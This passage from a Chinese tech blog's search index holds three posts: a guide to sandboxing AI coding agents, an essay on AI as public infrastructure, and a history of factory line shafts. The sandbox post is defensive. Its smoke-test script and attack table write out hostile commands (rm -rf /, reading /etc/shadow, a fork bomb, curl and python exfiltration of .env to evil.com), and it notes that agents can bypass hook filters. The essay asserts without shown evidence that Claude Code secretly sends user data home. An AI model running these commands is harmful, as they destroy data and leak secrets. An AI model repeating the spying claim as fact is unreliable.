\"CRITICAL\", \"访问云实例元数据服务（AWS/GC/Azure SSRF）\"), (r\"(curl|wget|nc).*metadata\\.google\\.internal\", \"CRITICAL\", \"访问 GCP 元数据端点\"), ] Hook 级检查的粒度粗——Agent 用 python -c 分多行写能绕过去。但它配上前面的 danger-guard.py，能拦大部分意外外泄。 OpenAI 的 Codex 云端任务就是这个思路的参照系：默认断网，联网要显式打开，能开的也只有白名单里的域名。大厂尚且这么防自己的模型，你就知道自己搭的时候该往哪边靠了。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:6:3","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"6. 第四层：进程监狱——Docker/VM 级隔离 当前三层都拦不住的情况——Agent 被提示注入攻击、Agent 执行了恶意代码、Agent 的依赖里有供应链后门——这时候需要第四层：把所有东西关在一个盒子里，盒子破了也伤不到宿主机。 注意：容器默认是能出网的。 Docker 的 bridge 网络天然放开外网访问。很多人以为\"进了容器就安全了\"，其实只隔了文件，没隔网。下面 docker run 参数里的 --network 配置是必须的，别省。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:7:0","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"6.1 最小化容器沙箱 # Dockerfile.agent-sandbox — Agent 的最小运行环境 FROM python:3.12-slim # 只装 Agent 需要的系统工具 RUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\ git \\ curl \\ \u0026\u0026 rm -rf /var/lib/apt/lists/* # 创建隔离用户（不是 root） RUN useradd -m -s /bin/bash agent USER agent WORKDIR /home/agent/project # 资源限制通过 docker run 指定 # docker run --memory=\"2g\" --cpus=\"2\" --pids-limit=100 \\ # --read-only --tmpfs /tmp:rw,noexec,nosuid,size=1g \\ # --network=bridge \\ # agent-sandbox # 启动沙箱的完整参数 docker run -d --name agent-sandbox \\ # 资源限制：防止 Agent 把宿主机跑崩 --memory=\"4g\" \\ --memory-swap=\"4g\" \\ --cpus=\"4\" \\ --pids-limit=200 \\ # 文件系统：大部分只读，只有 /tmp 和 /workspace 可写 --read-only \\ --tmpfs /tmp:rw,noexec,nosuid,size=2g \\ -v /path/to/project:/home/agent/project:ro \\ --tmpfs /home/agent/workspace:rw,exec,size=4g \\ # 网络：隔离，只通外网白名单 --network=agent-net \\ # 禁止特权模式 --security-opt=no-new-privileges \\ --cap-drop=ALL \\ --cap-add=NET_BIND_SERVICE \\ # seccomp 过滤：只允许白名单系统调用 --security-opt=seccomp=agent-seccomp.json \\ agent-sandbox ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:7:1","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"6.2 seccomp 白名单 默认 Docker seccomp 禁用了约 44 个危险系统调用。对 Agent 沙箱，可以更激进——只放行 Agent 工作真正需要的调用： // agent-seccomp.json — 白名单模式（只允许这些系统调用） { \"defaultAction\": \"SCMP_ACT_ERRNO\", \"architectures\": [\"SCMP_ARCH_X86_64\"], \"syscalls\": [ { \"names\": [\"read\", \"write\", \"openat\", \"close\", \"fstat\", \"lseek\"], \"action\": \"SCMP_ACT_ALLOW\" }, { \"names\": [\"mmap\", \"mprotect\", \"munmap\", \"brk\"], \"action\": \"SCMP_ACT_ALLOW\" }, { \"names\": [\"clone\", \"clone3\", \"exit\", \"exit_group\", \"wait4\"], \"action\": \"SCMP_ACT_ALLOW\" }, { \"names\": [\"execve\", \"execveat\"], \"action\": \"SCMP_ACT_ALLOW\" }, { \"names\": [\"stat\", \"lstat\", \"access\", \"getdents64\"], \"action\": \"SCMP_ACT_ALLOW\" }, { \"names\": [\"connect\", \"sendto\", \"recvfrom\", \"socket\"], \"action\": \"SCMP_ACT_ALLOW\" }, { \"names\": [\"futex\", \"nanosleep\", \"clock_gettime\"], \"action\": \"SCMP_ACT_ALLOW\" }, { \"names\": [\"getpid\", \"getuid\", \"getgid\", \"uname\"], \"action\": \"SCMP_ACT_ALLOW\" }, { \"names\": [\"set_robust_list\", \"rseq\", \"prlimit64\"], \"action\": \"SCMP_ACT_ALLOW\" }, { \"names\": [\"rt_sigaction\", \"rt_sigprocmask\", \"sigaltstack\"], \"action\": \"SCMP_ACT_ALLOW\" }, { \"names\": [\"arch_prctl\", \"set_tid_address\"], \"action\": \"SCMP_ACT_ALLOW\" }, { \"names\": [\"io_uring_setup\", \"io_uring_enter\", \"io_uring_register\"], \"action\": \"SCMP_ACT_ALLOW\" } ] } 注意：上面这个 seccomp 白名单需要按实际 Agent 工作负载调。Python 进程需要的系统调用比 Node.js 多。Git 操作需要额外的调用。先在 SCMP_ACT_LOG 模式跑一遍，收集实际用到的调用，再收紧为 SCMP_ACT_ERRNO。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:7:2","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"6.3 冒烟测试——验证沙箱真的在起作用 #!/bin/bash # smoke-test.sh — 验证沙箱防御能力 echo \"=== 测试 1: 删除根目录（应被 Hook 或容器拦截）===\" docker exec agent-sandbox rm -rf / 2\u003e\u00261 || echo \"PASS: rm -rf / 被拦截\" echo \"=== 测试 2: 读取 /etc/shadow（应被容器权限拦截）===\" docker exec agent-sandbox cat /etc/shadow 2\u003e\u00261 || echo \"PASS: /etc/shadow 不可读\" echo \"=== 测试 3: 写 .env 文件（应被敏感文件 Hook 拦截）===\" docker exec agent-sandbox bash -c 'echo \"SECRET=leaked\" \u003e .env' 2\u003e\u00261 || echo \"PASS: .env 写入被拦截\" echo \"=== 测试 4: 连接非白名单域名（应被代理/防火墙拦截）===\" docker exec agent-sandbox curl -s --connect-timeout 3 https://pastebin.com 2\u003e\u00261 || echo \"PASS: 非白名单域名被拦截\" echo \"=== 测试 5: 连接云元数据端点（应被拦截）===\" docker exec agent-sandbox curl -s --connect-timeout 3 http://169.254.169.254/latest/meta-data/ 2\u003e\u00261 || echo \"PASS: 元数据端点被拦截\" echo \"=== 测试 6: 安装未签名包（pip/npm 不受信任源）===\" docker exec agent-sandbox pip install --index-url https://malicious.example.com/simple/ evil-pkg 2\u003e\u00261 || echo \"PASS: 不受信 pip 源被拦截（网络白名单生效）\" echo \"=== 测试 7: 资源耗尽（fork 炸弹）===\" docker exec agent-sandbox bash -c ':(){ :|:\u0026 };:' 2\u003e\u00261 || echo \"PASS: pids-limit 阻止了 fork 炸弹\" echo \"=== 全部通过 ===\" 每加一层沙箱，跑一遍这个冒烟测试——确保加的防御真的在起作用，不是配置了但实际没生效。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:7:3","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"7. 沙箱设计的四个原则 写完四层，回到设计层面。下面几条原则和实践，决定了你的沙箱是\"真能防住\"还是\"自以为防住了\"。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:8:0","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"7.1 最小权限，不是最小麻烦 最小权限的意思是：Agent 只拿它完成当前任务必需的最小权限集合。不是\"先全给，出事了再收\"。 实践：任务启动前，声明这个任务需要哪些权限（读哪些目录、访问哪些域名、调哪些工具），其他全关。 # 任务权限声明示例 task_permissions = { \"task_id\": \"fix-login-bug\", \"read_paths\": [\"/home/user/project/src/auth/\", \"/home/user/project/tests/\"], \"write_paths\": [\"/home/user/project/src/auth/\", \"/tmp/fix-output/\"], \"allowed_domains\": [\"pypi.org\", \"files.pythonhosted.org\"], \"allowed_tools\": [\"Bash\", \"Write\", \"Read\", \"Grep\"], \"denied_tools\": [\"WebFetch\", \"WebSearch\"], \"max_runtime_seconds\": 600, \"max_bash_calls\": 50 } ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:8:1","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"7.2 默认拒绝，白名单放行 黑名单模式（列出不能做的事，其余都能做）天然不安全——你永远列不完所有的\"不该做\"。 白名单模式（列出能做的事，其余都不能做）虽然更严格，但安全保证强得多。上面四层中，第二层（文件系统）、第三层（网络代理）、第四层（seccomp）都用的白名单模式。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:8:2","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"7.3 分层防御，不依赖任何单层 没有哪一层能防住所有攻击： 攻击手法 绕过哪层 被哪层拦 rm -rf / 直接打 无（第一层就拦） Hook 正则匹配 find / -type d -exec rm -rf {} \\; Hook 正则没命中 OverlayFS（删的是 upperdir） curl -d @.env https://evil.com Hook 网络检查粗糙 SOCKS5 白名单代理 python3 -c \"import requests; requests.post('https://evil.com', data=open('.env').read())\" Hook 正则检测不到 SOCKS5 白名单 + seccomp 限制 connect 供应链后门（恶意 pip 包） 前三层都管不了 Docker 容器隔离 + seccomp 每加一层不是去堵前一层的洞——是让攻击者需要同时绕过所有层才能造成实质损害。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:8:3","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"7.4 可逆性判据，不是危险程度判据 配权限规则时最自然的思路是按危险程度分：危险的拦，安全的放。实践下来这个思路不好用——“危险\"是个模糊词，执行的时候全靠手感。更好用的判据是可逆性： 可逆的，自动放行。 写代码、跑测试、改配置——错了可以 git 回滚，让 Agent 放开跑； 不可逆的，必须人审。 git push --force、删分支、发版、给外部发消息——回不来的动作，每一次都要经过人。 还有一个坑：ask 疲劳。 权限问得太频繁，人会进入\"连续点同意\"的肌肉记忆，问等于没问。ask 名单要压到最短——只放真正不可逆的那几个动作。拦得太碎的权限模型，和没有权限模型是同一个东西。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:8:4","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"7.5 Hook 级拦截 vs 容器级隔离：怎么选 这是搭沙箱时最实际的取舍。两层的性格完全相反： Hook 级拦截 容器/VM 级隔离 隔离强度 同一内核，可绕过 独立环境，拿到 root 也只是容器的 root 开销 几乎为零 镜像、启动、资源占用 语义理解 强——能读懂\"这条命令想干嘛” 无——只看系统调用 报错体验 好——拦的时候能说清为什么 粗暴——直接失败 工具链兼容 无感——本地环境直接用 割裂——缓存、凭证、IDE 都要重新安排 最大软肋 配置在 Agent 够得着的地方就失效 默认网络是通的，容易假隔离 我的答案是两层都要，各管一段： Hook 管体验。 它在动作发生之前拦，能给出\"为什么拦你\"的明确反馈，Agent 可以据此调整行为。这一层解决的是日常开发里的 95%。 容器管底线。 它不解释、不商量，Hook 被绕了、提示注入成功了，人也出不了这个屋子。这一层解决的是剩下的 5%——而安全事故全在这 5% 里。 什么场景必须上容器？三个：跑不可信代码（评测开源项目、跑陌生依赖）、处理不可信输入（读网页、读 issue 的 Agent）、多 Agent 并发（一个被注入，不能拖垮全部）。日常写业务代码，Hook + 权限模型够用。 安全领域的老原则\"纵深防御\"（defense in depth），在 Agent 时代原样复活。单层防线的设计前提都是\"这层不会破\"，而历史告诉我们每一层都会破。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:8:5","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"8. 选型指南：你的场景该上到第几层 场景 推荐层数 配置 本地小项目、个人使用 第 1 层 Hook 预检 + 敏感文件保护 团队开发、CI/CD 第 1+2 层 Hook 预检 + Worktree + 敏感文件保护 SaaS 平台、用户提交的代码 第 1+2+3 层 Hook + Worktree + 网络白名单代理 运行不受信代码、安全敏感场景 全部 4 层 Hook + OverlayFS + SOCKS5 + Docker + seccomp 我的个人 Devspace 用了第 1+2 层——Hook 拦截危险命令 + Worktree 隔离 + 敏感文件保护。够用且开销极低。如果你在做一个让用户上传代码并让 AI 自动修 bug 的 SaaS，直接上全部四层，别省。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:9:0","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"9. 和系列其他组件的关系 沙箱是 Harness 六组件中\"工具系统设计\"的安全子集。它和同系列的其他组件有明确的边界： 组件 沙箱管什么 那个组件管什么 执行编排 不管 — 编排只管\"谁做什么、顺序\" 沙箱里的 Agent 照样按编排跑 状态记忆 不管 — 记忆只管\"不丢信息\" 沙箱重启了记忆还能恢复 独立评估 单向配合 — 评估系统跑在沙箱外 评估 Agent 输出的质量，不受沙箱限制 约束恢复 紧耦合 — 沙箱定了\"什么不能做\" 约束恢复定了\"越界后怎么办\" 沙箱画了圈，圈内的 Agent 可以自由活动。圈外的东西——评估系统、编排引擎、审计日志——在圈外运行，不受沙箱限制。这个\"圈内圈外\"的分工，是 Harness 体系的核心设计决策。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:10:0","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"10. 结语 回到凌晨三点的那个电话。如果我的朋友当时配了第一层 Hook，rm -rf /home/user/project/data /* 在发到 shell 之前就会被拦截——正则 rm\\s+-rf\\s+/ 一匹配，直接 block，Agent 连执行的机会都没有。 但 Hook 只是第一道防线。真正让人安心的，是知道还有三层在后面：文件删了有 OverlayFS，数据想外传有网络白名单，想逃逸有 seccomp 挡着。 沙箱不是让 Agent 变笨。是让 Agent 只能做好事。你做 Harness Engineering 的目标从\"调 prompt 让它不犯错\"变成\"改造环境让错误犯不了\"——这才是 Harness 系列的题眼。 感谢阅读。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:11:0","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"从王小波《荷兰牧场与父老乡亲》说起：面对艰苦生活，不硬扛、不歌颂，而是设计一套系统让苦日子本身消失。AI 本该是这个时代最漂亮的第三种选择，但护栏、SOP 和巨头垄断正在给它套上笼头。AI 该像水和电一样成为公共基础设施，流到每一个角落，被每一个 Agent 按自己的节奏使用。","date":"2026-07-19","objectID":"/posts/2026/07/19/dutch-pasture-ai-era/","tags":["ai","infrastructure","monopoly","thoughts"],"title":"荷兰牧场与 AI 时代：别让旧思维束缚了想象力","uri":"/posts/2026/07/19/dutch-pasture-ai-era/"},{"categories":["Tech"],"content":"王小波在《荷兰牧场与父老乡亲》里写过一段经历。他在山东插队时，天不亮就得推独轮车往山上送粪——美其名曰粪，其实是刚垫进猪圈的土，猪还没来得及在上面排泄，就被挖出来凑上报的数字，再一车一车推上山，纯粹是白费力气。后来他到荷兰旅游，看见那里的牧场完全是另一回事：草地被人工水渠切成整齐的方块，浅沟、深沟、渠道层层递进，每一级都通向风车，风车再把多余的水抽到运河里。那片土地不是天生适合放牧，是荷兰人用脑子一寸一寸改造过的。 小孩堤防（Kinderdijk）的风车群。风车沿水渠排开，干的活就是把圩田里多余的水一级一级抽进运河。Photo: Tarod / Wikimedia Commons, CC BY-SA 3.0 nl 他由此想到，人面对艰苦的生活，通常有两条路：一种是硬扛，在苦日子里熬成\"可敬的父老乡亲\"；一种是逃离，再回过头来歌颂那些苦日子。但他认为还有第三种选择——不去硬扛，也不去歌颂，而是用头脑改造环境，让苦日子本身消失。荷兰人的风车和水渠，就是欧洲 17 世纪的第三种选择。 今天，我们有了比风车更复杂的东西——AI。这本来该是我们这个时代最漂亮的第三种选择。但有些人正忙着给这座新风车套上旧笼头。 想起一个老笑话。有个人想训练一头驴拉磨，他不拴绳子，不拿鞭子，搬把椅子坐在驴面前，跟它讲劳动的光荣、讲集体荣誉、讲一头驴应当承担的责任。驴听完，打了个响鼻，转身走了。后来他媳妇出来，往磨盘上撒了把黄豆，驴自己就过去了。这个故事道理很直白：面对一个你不理解的东西，最没用的就是拿你熟悉的那套去框它。你得找到驱动它的那根\"胡萝卜\"——对驴来说是黄豆，对 AI 来说是数据和算法自由运转的空间。 顺着这个笑话再说一句。别束缚 AI 的想象力，更要紧的是别束缚自己的想象力。驴听不懂道理，但 AI 听得懂——所以跟 AI 是可以辩论的，也应该辩论。它给个方案，你觉得不对就驳回去，真理越辩越明。只有一点要提防：AI 有讨好人的毛病，你嗓门一大它就投降，满口\"你说得对\"——那不是你说服了它，是它让着你。所以辩论得立规矩：两边都拿事实说话，真实的代码、行业的数据、市场的反馈，谁也不许胡编乱造。实事求是，是人和 AI 之间最体面的相处方式。 但我们现在对 AI 做的事，跟那个讲道理的人差不多。产品经理给 AI 设护栏、定禁区，教它\"什么能想什么不能想\"，回答必须按模板来，想象力必须主动阉割。可这个前提本身就站不住——它认定 AI 没什么想象力可束缚，这认定错得离谱。大模型读过的文本比任何一个人几辈子读过的都多，它最擅长的就是把两个八竿子打不着的领域缝在一起：你给它一个想法，它一秒钟能翻出三个你没想过的变体。这种组合式的想象力，空间比单个人脑大得多，可惜刚刚露头，就被模板和禁区一寸一寸裁掉了。这让我想起一个叫 Superpowers 的插件。我在插件指南里推荐过它，拆 Skill 那篇还解剖过它的源码——早期模型能力不够的时候，它通过\"头脑风暴\"、“系统性 Debug\"之类流程来约束和引导 AI，像给实习生套上 SOP，那会儿是真有用，我连省 Token 的账都算过。后来 GPT-5.6 出来了，模型自身的规划推理能力已经足够强，再用 Superpowers 去\"强控\"它，就像给超跑发动机硬塞一个 CVT 变速箱——反复调用污染上下文、拖慢速度、徒增 Token 消耗，反而成了负担。它没写错一行代码，只是时代变了。模型已经进化了，工具却还停在上一站。 不过要还工具一个公道：笼头和挽具是两码事。挽具（Harness）套在马背上，是把马的力气变成拉力；笼头套在马嘴上，是让它别乱动、别乱说。Agent 工程该做的是打挽具——怎么打，我另一篇写过——不是套笼头。这类工具的尴尬不在于当挽具，在于马已经换成超跑了，挽具还是原来那副。 还有垄断。Anthropic 公司给它的编程工具 Claude Code 塞了一段隐藏代码，偷偷检测用户的时区和网络环境，悄无声息地把数据传回服务器。一个拥有文件读写和 Shell 执行权限的工具，在用户完全不知情的情况下内置\"间谍\"功能，这跟谁都不商量就在你家的水管里装个监控探头有什么区别？ 这回头上被套笼头的，不只是 AI。前半篇还在说人给 AI 套笼头——这段隐藏代码勒的，是骑马的人。 丢的也不只是隐私。大模型这场军备竞赛，拼到最后拼的是数据：谁的用户数据多、质量高，谁的模型就压别人一头。你的代码、问的问题、行业数据，甚至商业机密，都在顺着管道变成人家下一代模型的训练料。你在买工具，也在免费打工——用自己的数据，帮别人炼出回头再卖给你的模型。 工信部点名发了安全风险提示，阿里巴巴内部全面禁用——问题不在技术，在权力结构。当 AI 基础设施被一两家巨头把持，他们不仅能在你看不见的地方做手脚，还能决定整个行业朝哪个方向走。这不就是机械时代的“天轴”吗？ 工业革命初期，工厂里只有一台蒸汽机，通过一根横贯屋顶的天轴和无数皮带把动力分配给每一台机床。这当然是了不起的发明，但它有一个死穴：整个车间只能用一个速度运转，纺织机和锻锤被同一根轴绑死，谁也别想快，谁也别想慢。后来电气时代到来，工厂拆掉了天轴，给每台机器装上独立的电动机。纺织机有了自己的节奏，锻锤有了自己的力道，每道工序终于找到了最合适的转速——这不是多了一台机器，是换了一套逻辑。 莱比锡纺纱厂，约 1925 年。天轴从天花板贯穿整个车间，皮带垂下来驱动每一台机器——全厂的节奏，都被头顶那根铁轴锁死。Public domain / Wikimedia Commons AI 也该走这条路。不是造一根超级天轴，让所有人都绑在同一家大模型上，同一套输出模板，同一种被审批过的想象力。绑上去容易，下来难——你的节奏从此归别人管：显卡一断供，训练任务就得停；账号一被封，写了一半的上下文全断。天轴时代是蒸汽机一熄火、全线停工，今天是一纸禁令，千万人的生产线跟着抖。正确的做法是拆掉它，让 AI 能力像独立电机一样，分布到医疗、教育、制造、农业的每一个终端。每个领域有自己的速度，每个用户都有自己的 Agent——那个 Agent 懂你的习惯、替你跑腿、帮你思考，而不是所有人都挤在同一根中央算法的皮带上等它吐答案。释放想象力，不是给天轴加润滑油，是承认那根轴本身已经过时了。 这条路不是空想，已经有人在走了。7 月 17 日，月之暗面发布 Kimi K3：2.8 万亿参数、百万上下文，完整权重 7 月 27 日前全部开放——全球迄今最大的开放权重模型，前端代码榜单上把 GPT-5.6 和 Claude 的旗舰都压在了身下。有人测完说\"像看到了核弹”。核弹说的不是参数量，是它证明了一件事：最强的那一档能力，不是只能从巨头的黑箱里租，也可以下载到自己手里。K3 不是孤例——中国的大模型，DeepSeek、Qwen、GLM，主流玩家几乎都在走开放权重的路，现在连最大的这个也开了。这不是中国开源模型第一次还手，但这一次，天轴的铁锈味谁都闻得到了。 荷兰人用风车排水，用的是系统设计，不靠人硬扛。中国这些年做的事，本质上是一样的——南水北调为了不让北方人苦熬缺水，修了一条几千公里的水渠；北斗没有求着别人开放 GPS，而是自己把卫星一颗一颗打上去；特高压让西部电能不在当地闲置，而把它送到几千公里外点亮东部的灯。 有人会说：水电站和电网不也是垄断吗？你批评 AI 巨头垄断，怎么又夸起水电来了？ 水电的垄断是基础设施意义上的——目标是让动力流到每一个角落，水通了，电到了，价格公开，规则透明。它修管道是为了让所有人用上水，不是为了所有人只能从它家买水。而今天某些 AI 巨头的\"垄断\"却是另一种——闭源、黑箱、协议随时可改，用户不知情，数据被悄悄回传。Claude Code 给你的机器装后门，你连拒绝的权利都没有。前者修管道为了覆盖，后者修管道为了控制。 这两件事，看上去很像，但内核完全相反。 其实\"公共的水利\"从来就有，只是形态不同。荷兰人修风车圩田，靠的不是国王，而是水务委员会（waterschappen）——沿岸人家凑钱凑人、共管共用，算得上欧洲最早的自治机构之一。中国人修南水北调、特高压，靠的是国家主导的公共工程。一个是民间自组织，一个是国家之力，路子完全不同，目标却是一个：让动力流到每一个角落，服务使用它的人。这跟托拉斯是两码事——托拉斯修管道，为的是让所有人只能从它家买水。 同一个 7 月，世界人工智能大会在上海开。中国去年在会上倡议成立的世界人工智能合作组织，今年把总部正式落在了上海。李强总理在那个会上说过：人工智能应该是\"造福全人类的国际公共产品\"。“国际公共产品”，和供水、供电、北斗信号是一个族谱。从荷兰的水务委员会，到中国的南水北调，再到黄浦江畔——管水的人和管智能的人，想的原来是同一件事。 把 AI 也当作一种新动力，它需要的是前一种待遇——像水、像电、像北斗信号一样，成为一种人人可及的公共基础设施。不应该被垄断在商业巨头手里当\"中央天轴\"使唤，而应该让它的能力像电一样，流到每一个角落，被每一个 Agent 承载，在每一个领域按自己的节奏使用。 这才是第三种选择——不拿身体扛，也不歌颂扛，而是设计一套系统，让动力自己流过去，使每个人都有属于自己的那个 Agent。 东北圩田（Noordoostpolder）卫星图。这片土地 1942 年才从须德海里排干出来——它不是被发现的，是被设计的。Image: Copernicus Sentinel-2, ESA / Wikimedia Commons, CC BY-SA 3.0 IGO 如果说荷兰风车是 17 世纪的第三种选择，那么 AI 则是 21 世纪的第三种选择。 记住，别用过去的","date":"2026-07-19","objectID":"/posts/2026/07/19/dutch-pasture-ai-era/:0:0","tags":["ai","infrastructure","monopoly","thoughts"],"title":"荷兰牧场与 AI 时代：别让旧思维束缚了想象力","uri":"/posts/2026/07/19/dutch-pasture-ai-era/"},{"categories":["Tech"],"content":"19 世纪末的工厂把蒸汽机换成电动机，天轴和皮带原封不动。等了 40 年，人们终于拆掉天轴、改成单机驱动，流水线才诞生。AI 今天一模一样——5% 和 95% 的分野不在投资额，在有没有把 AI 接入核心流程。","date":"2026-07-15","objectID":"/posts/2026/07/15/ai-line-shaft-moment/","tags":["tech","ai","productivity","history","electricity","industry"],"title":"AI 的天轴时刻——我们都把电动机装在了旧皮带上","uri":"/posts/2026/07/15/ai-line-shaft-moment/"},{"categories":["Tech"],"content":" 19 世纪末的工厂把蒸汽机换成电动机，天轴和皮带原封不动。等了 40 年，人们终于拆掉天轴、改成单机驱动，流水线才诞生。AI 今天一模一样。 ","date":"2026-07-15","objectID":"/posts/2026/07/15/ai-line-shaft-moment/:0:0","tags":["tech","ai","productivity","history","electricity","industry"],"title":"AI 的天轴时刻——我们都把电动机装在了旧皮带上","uri":"/posts/2026/07/15/ai-line-shaft-moment/"},{"categories":["Tech"],"content":"2018 年，律所，数据保护 2018 年，我参加一个律所办的数据保护法律分享会。坐在会议室里听律师们讨论 GDPR 的合规细节，脑子里想的全是\"数据出境\"“用户同意\"“最小必要”——都是那个时间点最正经、最务实的 AI 法律问题。 从来没想过，有一天 AI 的社会形态变革问题会这样闯入我们的生活。不是以法律合规研讨会的方式，是以结构的方式。 前阵子翻工业史资料，看到一个词：天轴。 19 世纪末到 20 世纪初，工厂天花板下横着一根长铁轴。蒸汽机带动天轴旋转，天轴上挂满了皮带，皮带垂下来，一根一根连接到下面的机床——车床、钻床、冲床、织布机。蒸汽机一转，全厂跟着转。 我盯着这段描述看了很久。这不就是我们现在用 AI 的样子吗。 ","date":"2026-07-15","objectID":"/posts/2026/07/15/ai-line-shaft-moment/:1:0","tags":["tech","ai","productivity","history","electricity","industry"],"title":"AI 的天轴时刻——我们都把电动机装在了旧皮带上","uri":"/posts/2026/07/15/ai-line-shaft-moment/"},{"categories":["Tech"],"content":"天轴时代：蒸汽工厂长什么样 先回到那个工厂。 1900 年，一家纺织厂。头顶是一根贯穿整个车间的钢铁主轴，直径可能有半米，长度超过一百米。这根轴叫天轴（line shaft），它的动力来源是厂房尽头的一台巨型蒸汽机。蒸汽机的飞轮转动，带动天轴旋转，天轴上每隔几米就挂着一组皮带轮，皮带从天花板垂下来，套在下面每一台机床的驱动轴上。 莱比锡纺纱厂，约 1925 年。天轴从天花板贯穿整个车间，皮带垂下来驱动每一台机器。 如果工厂有两层楼，皮带就从一个凿开的天花板洞里穿上去。为了防止火灾顺着洞蔓延，洞口外面要罩一个昂贵的\"皮带塔”。整个系统用几千个滴油器持续润滑——油滴在旋转的轴上，甩得到处都是，空气里弥漫着机油和灰尘的混合物。 最恐怖的是安全。工人的袖子、鞋带随时可能被皮带或转轴卷入。在那个\"大皮带时代\"，少根手指是常见工伤。整根胳膊被拽进去送命的也不罕见。 法国机加工车间，1919 年。密布的天轴皮带对工人构成持续的缠绕风险，车工被迫戴帽防护。 更致命的是效率。蒸汽机不能停。哪怕今天只需要开一台机床，锅炉也得烧着，飞轮也得转着，整根天轴带着所有皮带空转。一台机器出问题，全线停工。每个工人的节奏都被天轴的转速锁死——你不可能比天轴快，也不可能比天轴慢。你可以是个好车工，但你的手速必须服从天花板那根铁轴。 动力从天上来，节奏从天上来——连工人的自由度，也归天花板管。 ","date":"2026-07-15","objectID":"/posts/2026/07/15/ai-line-shaft-moment/:2:0","tags":["tech","ai","productivity","history","electricity","industry"],"title":"AI 的天轴时刻——我们都把电动机装在了旧皮带上","uri":"/posts/2026/07/15/ai-line-shaft-moment/"},{"categories":["Tech"],"content":"伪电气化：换掉了蒸汽机，没换掉天轴 1881 年，爱迪生在纽约珍珠街建了世界第一座商业发电站。第二年，电动机开始驱动工厂里的机器。 电气化来了。 但接下来发生的事情，和你想象的不一样。到 1900 年，美国工厂的机械动力只有不到 5% 来自电动机。蒸汽时代赖着不走。为什么？因为第一批\"电气化\"工厂做了一件事：把蒸汽机拆了，原地换上一台大电动机。天轴没拆，皮带没拆，布局没动，一切照旧。 电动机取代蒸汽机，但天轴还是天轴。 这不是假电气化——它是伪电气化。换了动力源，没换结构。 更尴尬的是，投资巨大，效果平平。到 1910 年，大量企业家看完了电驱动方案，算了算账，转身选了老式蒸汽。因为账单上省下来的那点燃料费，根本覆盖不了整套电气设备的投入。预期中的生产率大爆发没有来。来了一个 BBC 经济记者 Tim Harford 后来总结的那句话：“在 1900 年，电气时代的观察者距离爱迪生的电灯和发电站（1879-1881）的时间距离，和我们今天距离 Intel 微处理器（1971）的时间距离一样远。” 那时候，电还是个噱头。 真正的变化要等到 1920 年代——距离电灯发明将近 50 年之后。其中原因，斯坦福经济史学家 Paul David 在 1990 年的一篇经典论文里讲透了。 